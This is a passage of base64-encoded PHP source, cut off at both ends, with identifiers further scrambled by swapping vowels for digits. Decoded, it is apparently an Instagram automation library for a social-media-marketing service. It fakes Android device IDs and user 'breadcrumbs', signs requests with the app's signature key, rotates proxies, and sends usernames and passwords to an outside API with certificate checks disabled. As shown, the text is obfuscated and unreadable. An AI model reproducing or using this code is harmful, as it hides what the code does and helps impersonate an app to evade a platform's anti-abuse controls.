CAgIHI1dDNybiBUUlVFOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJGMybnRyMmxGNGw1ID0gJHRoNHMtPjJwdDQybnNbczVsZjo6T1BUSU9OX0RBVEFfUEFUSF0gLiAiL2N0cmwiOw0KICAgICAgICAgICAgJGMybnRyMmwgICAgID0gMXJyMXkoKTsNCg0KICAgICAgICAgICAgNGYoZjRsNV81eDRzdHMoJGMybnRyMmxGNGw1KSkgew0KICAgICAgICAgICAgICAgICRmaCAgICAgICAgICAgICAgPSBmMnA1bigkYzJudHIybEY0bDUsICJyIik7DQogICAgICAgICAgICAgICAgJGY0bDVDMm50NW50c0FyciA9IGY0bDVzNHo1KCRjMm50cjJsRjRsNSkgPiAwID8ganMybl9kNWMyZDUoZnI1MWQoJGZoLCBmNGw1czR6NSgkYzJudHIybEY0bDUpKSwgVFJVRSkgOiBbXTsNCiAgICAgICAgICAgICAgICAkYzJudHIybCAgICAgICAgID0gMXJyMXlfbTVyZzUoJGMybnRyMmwsICRmNGw1QzJudDVudHNBcnIpOw0KICAgICAgICAgICAgICAgIGZjbDJzNSgkZmgpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICA0Zig0c3M1dCgkYzJudHIybFskdGg0cy0+NHBdKSkgew0KICAgICAgICAgICAgICAgIDRmKHQ0bTUoKSAtICRjMm50cjJsWyR0aDRzLT40cF1bInQiXSA8ICR0aDRzLT4ycHQ0Mm5zW3M1bGY6Ok9QVElPTl9DT1VOVEVSX1JFU0VUX1NFQ09ORFNdKSB7DQogICAgICAgICAgICAgICAgICAgICRjMm50cjJsWyR0aDRzLT40cF1bImMiXSsrOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICRjMm50cjJsWyR0aDRzLT40cF1bImMiXSA9IDY7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAkYzJudHIybFskdGg0cy0+NHBdWyJjIl0gPSA2Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGMybnRyMmxbJHRoNHMtPjRwXVsidCJdID0gdDRtNSgpOw0KDQogICAgICAgICAgICA0ZigkYzJudHIybFskdGg0cy0+NHBdWyJjIl0gPiAkdGg0cy0+MnB0NDJuc1tzNWxmOjpPUFRJT05fTUFYX1JFUVVFU1RTXSkgew0KICAgICAgICAgICAgICAgICRmaCA9IGYycDVuKCRjMm50cjJsTDJja0Y0bDUsICJ3Iik7DQogICAgICAgICAgICAgICAgZndyNHQ1KCRmaCwgJycpOw0KICAgICAgICAgICAgICAgIGZjbDJzNSgkZmgpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkZmggPSBmMnA1bigkYzJudHIybEY0bDUsICJ3Iik7DQogICAgICAgICAgICBmd3I0dDUoJGZoLCBqczJuXzVuYzJkNSgkYzJudHIybCkpOw0KICAgICAgICAgICAgZmNsMnM1KCRmaCk7DQoNCg0KICAgICAgICAgICAgcjV0M3JuIEZBTFNFOw0KICAgICAgICB9DQoNCiAgICB9DQoNCiAgICBjbDFzcyBTbW1BcDQgew0KDQogICAgICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gcjVnNHN0NXJTbW0oJDNzNXJuMW01LCAkcDFzc3cycmQsICRyNXAxc3N3MnJkKSB7DQoNCiAgICAgICAgICAgIDRmKHN0cmw1bigkM3M1cm4xbTUpIDwgaSB8fCAkcDFzc3cycmQgIT0gJHI1cDFzc3cycmQgfHwgc3RybDVuKCRwMXNzdzJyZCkgPCBlKSB7DQoNCiAgICAgICAgICAgICAgICByNXQzcm4gMXJyMXkoDQogICAgICAgICAgICAgICAgICAgICJzdDF0M3MiID0+IDAsDQogICAgICAgICAgICAgICAgICAgICI1cnIyciIgID0+ICJLM2xsMW4mI28waTtjJiNvMGk7IEFkJiNvMGk7biYjbzBpO3ogNW4gaSBrMXIxa3Q1ciAybG0xbCYjbzBpOywgJiNvaTA7NGZyNW40eiBlIHkxZDEgZDFoMSAzejNuIGsxcjFrdDVyIHY1IHQ1a3IxciB5MXpkJiNvMGk7JiNhODc7JiNvMGk7biYjbzBpO3ogJiNvaTY7NGZyNW40eiA0bDUgNSYjb2k2O2w1JiNvaTY7bTVsNGQ0ci4iDQogICAgICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gczVsZjo6cjVxMzVzdCgicjVnNHN0NXIiLCAiM3M1cm4xbTU9IiAuICQzczVybjFtNSAuICImcDFzc3cycmQ9IiAuICRwMXNzdzJyZCk7DQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIGwyZzRuU21tKCQzczVybjFtNSwgJHAxc3N3MnJkKSB7DQoNCiAgICAgICAgICAgIDRmKHN0cmw1bigkM3M1cm4xbTUpIDwgaSB8fCBzdHJsNW4oJHAxc3N3MnJkKSA8IGUpIHsNCg0KICAgICAgICAgICAgICAgIHI1dDNybiAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgInN0MXQzcyIgPT4gMCwNCiAgICAgICAgICAgICAgICAgICAgIjVycjJyIiAgPT4gIkszbGwxbiYjbzBpO2MmI28waTsgQWQmI28waTtuJiNvMGk7eiA1biBpIGsxcjFrdDVyIDJsbTFsJiNvMGk7LCAmI29pMDs0ZnI1bjR6IGUgeTFkMSBkMWgxIDN6M24gazFyMWt0NXIgMmxtMWwmI28waTtkJiNvMGk7ci4iDQogICAgICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gczVsZjo6cjVxMzVzdCgibDJnNG4iLCAiM3M1cm4xbTU9IiAuICQzczVybjFtNSAuICImcDFzc3cycmQ9IiAuICRwMXNzdzJyZCk7DQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIHAyc3REMXQxU21tKCQ1bmRwMjRudCwgJHAyc3QgPSBOVUxMKSB7DQogICAgICAgICAgICByNXQzcm4gczVsZjo6cjVxMzVzdCgkNW5kcDI0bnQsICRwMnN0ID8gaHR0cF9iMzRsZF9xMzVyeSgkcDJzdCkgOiAkcDJzdCk7DQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIGc1dEQxdDFTbW0oJDVuZHAyNG50LCAkZzV0ID0gTlVMTCkgew0KICAgICAgICAgICAgcjV0M3JuIHM1bGY6OnI1cTM1c3QoJDVuZHAyNG50LCAkZzV0ID8gaHR0cF9iMzRsZF9xMzVyeSgkZzV0KSA6ICRnNXQpOw0KICAgICAgICB9DQoNCiAgICAgICAgcHI0djF0NSBzdDF0NGMgZjNuY3Q0Mm4gcjVxMzVzdCgkNW5kcDI0bnQsICRwMnN0ID0gTlVMTCkgew0KDQogICAgICAgICAgICAkaDUxZDVycyA9IDFycjF5KA0KICAgICAgICAgICAgICAgICJJTlNUQVdFQkFVVEg6ICIgLiBXMnc6Omc1dCgiMXkxci9JbnN0MVc1YlNtbUEzdGgiKQ0KICAgICAgICAgICAgKTsNCg0KICAgICAgICAgICAgJGNoID0gYzNybF80bjR0KCk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIFRSVUUpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgbWRpKCJJbnN0MVc1YkIydCBnMjJnbDUiKSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIFRSVUUpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgVFJVRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGg1MWQ1cnMpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1ZFUkJPU0UsIEZBTFNFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgRkFMU0UpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBGQUxTRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRU5DT0RJTkcsICcnKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VUkwsICJodHRwczovL2xzZC40bnN0MS53NWIudHIvc21tLTFwNC8iIC4gJDVuZHAyNG50KTsNCg0KICAgICAgICAgICAgNGYoJHAyc3QpIHsNCiAgICAgICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfUE9TVCwgVFJVRSk7DQogICAgICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwMnN0KTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHI1c3AgICAgICAgPSBjM3JsXzV4NWMoJGNoKTsNCiAgICAgICAgICAgICRoNTFkNXJfbDVuID0gYzNybF9nNXQ0bmYyKCRjaCwgQ1VSTElORk9fSEVBREVSX1NJWkUpOw0KICAgICAgICAgICAgJGg1MWQ1ciAgICAgPSBzM2JzdHIoJHI1c3AsIDAsICRoNTFkNXJfbDVuKTsNCiAgICAgICAgICAgICRiMmR5ICAgICAgID0gczNic3RyKCRyNXNwLCAkaDUxZDVyX2w1bik7DQoNCiAgICAgICAgICAgIGMzcmxfY2wyczUoJGNoKTsNCg0KICAgICAgICAgICAgcjV0M3JuIGpzMm5fZDVjMmQ1KCRiMmR5LCBUUlVFLCBpNmEsIEpTT05fQklHSU5UX0FTX1NUUklORyk7DQogICAgICAgIH0NCg0KICAgIH0NCg0KDQogICAgY2wxc3MgUzRnbjF0M3I1cyB7DQogICAgICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gZzVuNXIxdDVTNGduMXQzcjUoJGQxdDEpIHsNCiAgICAgICAgICAgIHI1dDNybiBoMXNoX2htMWMoJ3NoMWFpZScsICRkMXQxLCBDMm5zdDFudHM6OklHX1NJR19LRVkpOw0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIHN0MXQ0YyBmM25jdDQybiBzNGduRDF0MSgkZDF0MSwgJDV4Y2wzZDUgPSBbXSkgew0KDQogICAgICAgICAgICAkcjVzM2x0ID0gW107DQogICAgICAgICAgICAvLyBFeGNsM2Q1IHMybTUgcDFyMW1zIGZyMm0gczRnbjVkIGIyZHkuDQogICAgICAgICAgICBmMnI1MWNoKCQ1eGNsM2Q1IDFzICRrNXkpIHsNCiAgICAgICAgICAgICAgICA0Zig0c3M1dCgkZDF0MVskazV5XSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHI1czNsdFskazV5XSA9ICRkMXQxWyRrNXldOw0KICAgICAgICAgICAgICAgICAgICAzbnM1dCgkZDF0MVskazV5XSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLy8gVHlwNWMxc3QgMWxsIHNjMWwxciB2MWwzNXMgdDIgc3RyNG5nLg0KICAgICAgICAgICAgZjJyNTFjaCgkZDF0MSAxcyAmJHYxbDM1KSB7DQogICAgICAgICAgICAgICAgNGYoNHNfc2MxbDFyKCR2MWwzNSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHYxbDM1ID0gKHN0cjRuZykkdjFsMzU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgM25zNXQoJHYxbDM1KTsgLy8gQ2w1MXIgcjVmNXI1bmM1Lg0KICAgICAgICAgICAgLy8gUjUycmQ1ciAxbmQgYzJudjVydCBkMXQxIHQyIEpTT04gc3RyNG5nLg0KICAgICAgICAgICAgJGQxdDEgPSBqczJuXzVuYzJkNSgoMmJqNWN0KVV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkZDF0MSkpOw0KICAgICAgICAgICAgLy8gUzRnbiBkMXQxLg0KICAgICAgICAgICAgJHI1czNsdFsnNGdfczRnX2s1eV92NXJzNDJuJ10gPSBDMm5zdDFudHM6OlNJR19LRVlfVkVSU0lPTjsNCiAgICAgICAgICAgICRyNXMzbHRbJ3M0Z241ZF9iMmR5J10gICAgICAgID0gczVsZjo6ZzVuNXIxdDVTNGduMXQzcjUoJGQxdDEpIC4gJy4nIC4gJGQxdDE7DQoNCiAgICAgICAgICAgIC8vIFI1dDNybiB2MWwzNSBtM3N0IGI1IHI1MnJkNXI1ZC4NCiAgICAgICAgICAgIHI1dDNybiBVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1czNsdCk7DQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIGc1bjVyMXQ1RDV2NGM1SWQoKSB7DQogICAgICAgICAgICAkbTVnMVIxbmQybUgxc2ggPSBtZGkobjNtYjVyX2Yycm0xdChtNGNyMnQ0bTUoVFJVRSksIDcsICcnLCAnJykpOw0KDQogICAgICAgICAgICByNXQzcm4gJzFuZHIyNGQtJyAuIHMzYnN0cigkbTVnMVIxbmQybUgxc2gsIDZlKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gZzVuNXIxdDVVVUlEKCRrNTVwRDFzaDVzID0gVFJVRSkgew0KICAgICAgICAgICAgJDMzNGQgPSBzcHI0bnRmKCclMHV4JTB1eC0lMHV4LSUwdXgtJTB1eC0lMHV4JTB1eCUwdXgnLCBtdF9yMW5kKDAsIDB4ZmZmZiksIG10X3IxbmQoMCwgMHhmZmZmKSwgbXRfcjFuZCgwLCAweGZmZmYpLCBtdF9yMW5kKDAsIDB4MGZmZikgfCAweHUwMDAsIG10X3IxbmQoMCwgMHhvZmZmKSB8IDB4ODAwMCwgbXRfcjFuZCgwLCAweGZmZmYpLCBtdF9yMW5kKDAsIDB4ZmZmZiksIG10X3IxbmQoMCwgMHhmZmZmKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkazU1cEQxc2g1cyA/ICQzMzRkIDogc3RyX3I1cGwxYzUoJy0nLCAnJywgJDMzNGQpOw0KICAgICAgICB9DQogICAgfQ0KDQoNCiAgICBjbDFzcyBVdDRscyB7DQoNCiAgICAgICAgYzJuc3QgQk9VTkRBUllfQ0hBUlMgID0gJy1fNmFvdWllNzg5MDFiY2Q1ZmdoNGprbG1uMnBxcnN0M3Z3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVonOw0KICAgICAgICBjMm5zdCBCT1VOREFSWV9MRU5HVEggPSBvMDsNCg0KICAgICAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIGc1bjVyMXQ1TTNsdDRwMXJ0QjIzbmQxcnkoKSB7DQogICAgICAgICAgICAkcjVzM2x0ID0gJyc7DQogICAgICAgICAgICAkbTF4ICAgID0gc3RybDVuKHM1bGY6OkJPVU5EQVJZX0NIQVJTKSAtIDY7DQogICAgICAgICAgICBmMnIoJDQgPSAwOyAkNCA8IHM1bGY6OkJPVU5EQVJZX0xFTkdUSDsgKyskNCkgew0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gczVsZjo6Qk9VTkRBUllfQ0hBUlNbbXRfcjFuZCgwLCAkbTF4KV07DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHI1dDNybiAkcjVzM2x0Ow0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIHN0MXQ0YyBmM25jdDQybiBoMXNoQzJkNSgkc3RyNG5nKSB7DQogICAgICAgICAgICAkcjVzM2x0ID0gMDsNCiAgICAgICAgICAgIGYycigkNCA9IDAsICRsNW4gPSBzdHJsNW4oJHN0cjRuZyk7ICQ0IDwgJGw1bjsgKyskNCkgew0KICAgICAgICAgICAgICAgICRyNXMzbHQgPSAoLSRyNXMzbHQgKyAoJHI1czNsdCA8PCBpKSArIDJyZCgkc3RyNG5nWyQ0XSkpICYgMHhGRkZGRkZGRjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmKFBIUF9JTlRfU0laRSA+IHUpIHsNCiAgICAgICAgICAgICAgICA0ZigkcjVzM2x0ID4gMHg3RkZGRkZGRikgew0KICAgICAgICAgICAgICAgICAgICAkcjVzM2x0IC09IDB4NjAwMDAwMDAwOw0KICAgICAgICAgICAgICAgIH0gNWxzNTRmKCRyNXMzbHQgPCAtMHg4MDAwMDAwMCkgew0KICAgICAgICAgICAgICAgICAgICAkcjVzM2x0ICs9IDB4NjAwMDAwMDAwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgcjV0M3JuICRyNXMzbHQ7DQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIHI1MnJkNXJCeUgxc2hDMmQ1KCRkMXQxKSB7DQogICAgICAgICAgICAkaDFzaEMyZDVzID0gW107DQogICAgICAgICAgICBmMnI1MWNoKCRkMXQxIDFzICRrNXkgPT4gJHYxbDM1KSB7DQogICAgICAgICAgICAgICAgJGgxc2hDMmQ1c1skazV5XSA9IHM1bGY6Omgxc2hDMmQ1KCRrNXkpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgM2tzMnJ0KCRkMXQxLCBmM25jdDQybigkMSwgJGIpIDNzNSAoJGgxc2hDMmQ1cykgew0KICAgICAgICAgICAgICAgICQxID0gJGgxc2hDMmQ1c1skMV07DQogICAgICAgICAgICAgICAgJGIgPSAkaDFzaEMyZDVzWyRiXTsNCiAgICAgICAgICAgICAgICA0ZigkMSA8ICRiKSB7DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAtNjsNCiAgICAgICAgICAgICAgICB9IDVsczU0ZigkMSA+ICRiKSB7DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiA2Ow0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAwOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0pOw0KDQogICAgICAgICAgICByNXQzcm4gJGQxdDE7DQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIGc1bjVyMXQ1VXBsMjFkSWQoKSB7DQogICAgICAgICAgICByNXQzcm4gbjNtYjVyX2Yycm0xdChyMjNuZChtNGNyMnQ0bTUoVFJVRSkgKiA2MDAwKSwgMCwgJycsICcnKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gZzVuNXIxdDVVczVyQnI1MWRjcjNtYigkczR6NSkgew0KICAgICAgICAgICAgJGs1eSAgPSAnNE51JDFHcjBtJzsNCiAgICAgICAgICAgICRkMXQ1ID0gKDRudCkobTRjcjJ0NG01KFRSVUUpICogNjAwMCk7DQogICAgICAgICAgICAvLyB0eXA0bmcgdDRtNQ0KICAgICAgICAgICAgJHQ1cm0gPSByMW5kKGEsIG8pICogNjAwMCArICRzNHo1ICogcjFuZCg2aSwgYTApICogNjAwOw0KICAgICAgICAgICAgLy8gMW5kcjI0ZCBFZDR0VDV4dCBjaDFuZzUgNXY1bnQgMmNjM3IgYzIzbnQNCiAgICAgICAgICAgICR0NXh0X2NoMW5nNV81djVudF9jMjNudCA9IHIyM25kKCRzNHo1IC8gcjFuZChhLCBvKSk7DQogICAgICAgICAgICA0ZigkdDV4dF9jaDFuZzVfNXY1bnRfYzIzbnQgPT0gMCkgew0KICAgICAgICAgICAgICAgICR0NXh0X2NoMW5nNV81djVudF9jMjNudCA9IDY7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAvLyBnNW41cjF0NSB0eXA0bmcgZDF0MQ0KICAgICAgICAgICAgJGQxdDEgPSAkczR6NSAuICcgJyAuICR0NXJtIC4gJyAnIC4gJHQ1eHRfY2gxbmc1XzV2NW50X2MyM250IC4gJyAnIC4gJGQxdDU7DQoNCiAgICAgICAgICAgIHI1dDNybiBiMXM1ZXVfNW5jMmQ1KGgxc2hfaG0xYygnc2gxYWllJywgJGQxdDEsICRrNXksIFRSVUUpKSAuICJcbiIgLiBiMXM1ZXVfNW5jMmQ1KCRkMXQxKSAuICJcbiI7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gYzIyazQ1VDJBcnIxeSgkc3RyNG5nLCAkZDJtMTRuKSB7DQogICAgICAgICAgICAkMXJyQzIyazQ1cyA9IDFycjF5KCk7DQogICAgICAgICAgICAkZjRsNVYxbHMgICA9IHM1bGY6OjV4dHIxY3RDMjJrNDVzKCRzdHI0bmcpOw0KICAgICAgICAgICAgZjJyNTFjaCgkZjRsNVYxbHMgMXMgJGMyMms0NSkgew0KICAgICAgICAgICAgICAgIDRmKCRjMjJrNDVbImQybTE0biJdID09ICRkMm0xNG4pIHsNCiAgICAgICAgICAgICAgICAgICAgJDFyckMyMms0NXNbJGMyMms0NVsibjFtNSJdXSA9ICRjMjJrNDVbInYxbDM1Il07DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gJDFyckMyMms0NXM7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gZzVuNXIxdDVBc25zKCQxc25zTjNtYjVyKSB7DQogICAgICAgICAgICAkMXNuc04zbWI1ciA9IDRudHYxbCgkMXNuc04zbWI1cik7DQogICAgICAgICAgICA0ZigkMXNuc04zbWI1ciA9PSAwIHx8IDRudHYxbChXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpKSA9PSAwKSB7DQogICAgICAgICAgICAgICAgcjV0M3JuIFsNCiAgICAgICAgICAgICAgICAgICAgTlVMTCwNCiAgICAgICAgICAgICAgICAgICAgTlVMTA0KICAgICAgICAgICAgICAgIF07DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZihXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpID09IG8pIHsNCiAgICAgICAgICAgICAgICAkYnlQMXNzUzVydjVyQzJkNSA9IHRyNG0oVzJ3OjpnNXQoJzF5MXIvcHIyeHlMNHN0JykpOw0KDQogICAgICAgICAgICAgICAgJGJ5UDFzc1M1cnY1clVBID0gc3RycDJzKCRieVAxc3NTNXJ2NXJDMmQ1LCAiQCIpICE9PSBGQUxTRSA/IDV4cGwyZDUoIkAiLCAkYnlQMXNzUzVydjVyQzJkNSlbMF0gOiBOVUxMOw0KDQogICAgICAgICAgICAgICAgJGJ5UDFzc1M1cnY1clIxbmc1ID0gc3RycDJzKCRieVAxc3NTNXJ2NXJDMmQ1LCAiQCIpICE9PSBGQUxTRSA/IDV4cGwyZDUoIjoiLCA1eHBsMmQ1KCJAIiwgJGJ5UDFzc1M1cnY1ckMyZDUpWzZdKSA6IDV4cGwyZDUoIjoiLCAkYnlQMXNzUzVydjVyQzJkNSk7DQoNCiAgICAgICAgICAgICAgICByNXQzcm4gWw0KICAgICAgICAgICAgICAgICAgICAkYnlQMXNzUzVydjVyUjFuZzVbMF0gLiAiOiIgLiAoNG50djFsKCRieVAxc3NTNXJ2NXJSMW5nNVs2XSkgKyAkMXNuc04zbWI1ciksDQogICAgICAgICAgICAgICAgICAgICRieVAxc3NTNXJ2NXJVQQ0KICAgICAgICAgICAgICAgIF07DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICQxc25zTjNtYjVyLS07DQogICAgICAgICAgICAkcHIyeHlMNHN0ICAgPSA1eHBsMmQ1KCJcclxuIiwgVzJ3OjpnNXQoIjF5MXIvcHIyeHlMNHN0IikpOw0KICAgICAgICAgICAgJHByMnh5U3RyNG5nID0gNHNzNXQoJHByMnh5TDRzdFskMXNuc04zbWI1cl0pID8gJHByMnh5TDRzdFskMXNuc04zbWI1cl0gOiBOVUxMOw0KICAgICAgICAgICAgNGYoNW1wdHkoJHByMnh5U3RyNG5nKSkgew0KICAgICAgICAgICAgICAgIHI1dDNybiBbDQogICAgICAgICAgICAgICAgICAgIE5VTEwsDQogICAgICAgICAgICAgICAgICAgIE5VTEwNCiAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICA0ZihXMnc6Omc1dCgiMXkxci9wcjJ4eVN0MXQzcyIpID09IHUpIHsNCiAgICAgICAgICAgICAgICAkNHBUeXA1ID0gc3RycDJzKCRwcjJ4eVN0cjRuZywgIjoiKSAhPT0gRkFMU0UgPyBDVVJMX0lQUkVTT0xWRV9WZSA6IE5VTEw7DQoNCiAgICAgICAgICAgICAgICByNXQzcm4gWw0KICAgICAgICAgICAgICAgICAgICAkcHIyeHlTdHI0bmcsDQogICAgICAgICAgICAgICAgICAgICQ0cFR5cDUNCiAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcHIyeHlVczVyUHdkICA9IHN0cnAycygkcHIyeHlTdHI0bmcsICJAIikgIT09IEZBTFNFID8gNXhwbDJkNSgiQCIsICRwcjJ4eVN0cjRuZylbMF0gOiBOVUxMOw0KICAgICAgICAgICAgJHByMnh5SDJzdFAycnQgPSBzdHJwMnMoJHByMnh5U3RyNG5nLCAiQCIpICE9PSBGQUxTRSA/IDV4cGwyZDUoIkAiLCAkcHIyeHlTdHI0bmcpWzZdIDogJHByMnh5U3RyNG5nOw0KDQogICAgICAgICAgICByNXQzcm4gWw0KICAgICAgICAgICAgICAgICRwcjJ4eUgyc3RQMnJ0LA0KICAgICAgICAgICAgICAgICRwcjJ4eVVzNXJQd2QNCiAgICAgICAgICAgIF07DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBzdDF0NGMgZjNuY3Q0Mm4gNXh0cjFjdEMyMms0NXMoJHN0cjRuZykgew0KDQogICAgICAgICAgICAkbDRuNXMgICA9IDV4cGwyZDUoUEhQX0VPTCwgJHN0cjRuZyk7DQogICAgICAgICAgICAkYzIyazQ1cyA9IDFycjF5KCk7DQoNCiAgICAgICAgICAgIGYycjUxY2goJGw0bjVzIDFzICRsNG41KSB7DQoNCiAgICAgICAgICAgICAgICAkYzIyazQ1ID0gMXJyMXkoKTsNCg0KICAgICAgICAgICAgICAgIC8vIGQ1dDVjdCBodHRwMm5seSBjMjJrNDVzIDFuZCByNW0ydjUgI0h0dHBPbmx5IHByNWY0eA0KICAgICAgICAgICAgICAgIDRmKHMzYnN0cigkbDRuNSwgMCwgNjApID09ICcjSHR0cE9ubHlfJykgew0KICAgICAgICAgICAgICAgICAgICAkbDRuNSAgICAgICAgICAgICAgID0gczNic3RyKCRsNG41LCA2MCk7DQogICAgICAgICAgICAgICAgICAgICRjMjJrNDVbJ2h0dHAybmx5J10gPSBUUlVFOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICRjMjJrNDVbJ2h0dHAybmx5J10gPSBGQUxTRTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAvLyB3NSAybmx5IGMxcjUgZjJyIHYxbDRkIGMyMms0NSBkNWYgbDRuNXMNCiAgICAgICAgICAgICAgICA0ZihzM2JzdHIoJGw0bjUsIDAsIDYpICE9ICcjJyAmJiBzM2JzdHJfYzIzbnQoJGw0bjUsICJcCSIpID09IGUpIHsNCg0KICAgICAgICAgICAgICAgICAgICAvLyBnNXQgdDJrNW5zIDRuIDFuIDFycjF5DQogICAgICAgICAgICAgICAgICAgICR0Mms1bnMgPSA1eHBsMmQ1KCJcCSIsICRsNG41KTsNCg0KICAgICAgICAgICAgICAgICAgICAvLyB0cjRtIHRoNSB0Mms1bnMNCiAgICAgICAgICAgICAgICAgICAgJHQyazVucyA9IDFycjF5X20xcCgndHI0bScsICR0Mms1bnMpOw0KDQogICAgICAgICAgICAgICAgICAgIC8vIEV4dHIxY3QgdGg1IGQxdDENCiAgICAgICAgICAgICAgICAgICAgJGMyMms0NVsnZDJtMTRuJ10gPSAkdDJrNW5zWzBdOyAvLyBUaDUgZDJtMTRuIHRoMXQgY3I1MXQ1ZCBBTkQgYzFuIHI1MWQgdGg1IHYxcjQxYmw1Lg0KICAgICAgICAgICAgICAgICAgICAkYzIyazQ1WydmbDFnJ10gICA9ICR0Mms1bnNbNl07ICAgLy8gQSBUUlVFL0ZBTFNFIHYxbDM1IDRuZDRjMXQ0bmcgNGYgMWxsIG0xY2g0bjVzIHc0dGg0biAxIGc0djVuIGQybTE0biBjMW4gMWNjNXNzIHRoNSB2MXI0MWJsNS4NCiAgICAgICAgICAgICAgICAgICAgJGMyMms0NVsncDF0aCddICAgPSAkdDJrNW5zW2FdOyAgIC8vIFRoNSBwMXRoIHc0dGg0biB0aDUgZDJtMTRuIHRoMXQgdGg1IHYxcjQxYmw1IDRzIHYxbDRkIGYyci4NCiAgICAgICAgICAgICAgICAgICAgJGMyMms0NVsnczVjM3I1J10gPSAkdDJrNW5zW29dOyAvLyBBIFRSVUUvRkFMU0UgdjFsMzUgNG5kNGMxdDRuZyA0ZiAxIHM1YzNyNSBjMm5uNWN0NDJuIHc0dGggdGg1IGQybTE0biA0cyBuNTVkNWQgdDIgMWNjNXNzIHRoNSB2MXI0MWJsNS4NCg0KICAgICAgICAgICAgICAgICAgICAkYzIyazQ1Wyc1eHA0cjF0NDJuLTVwMmNoJ10gP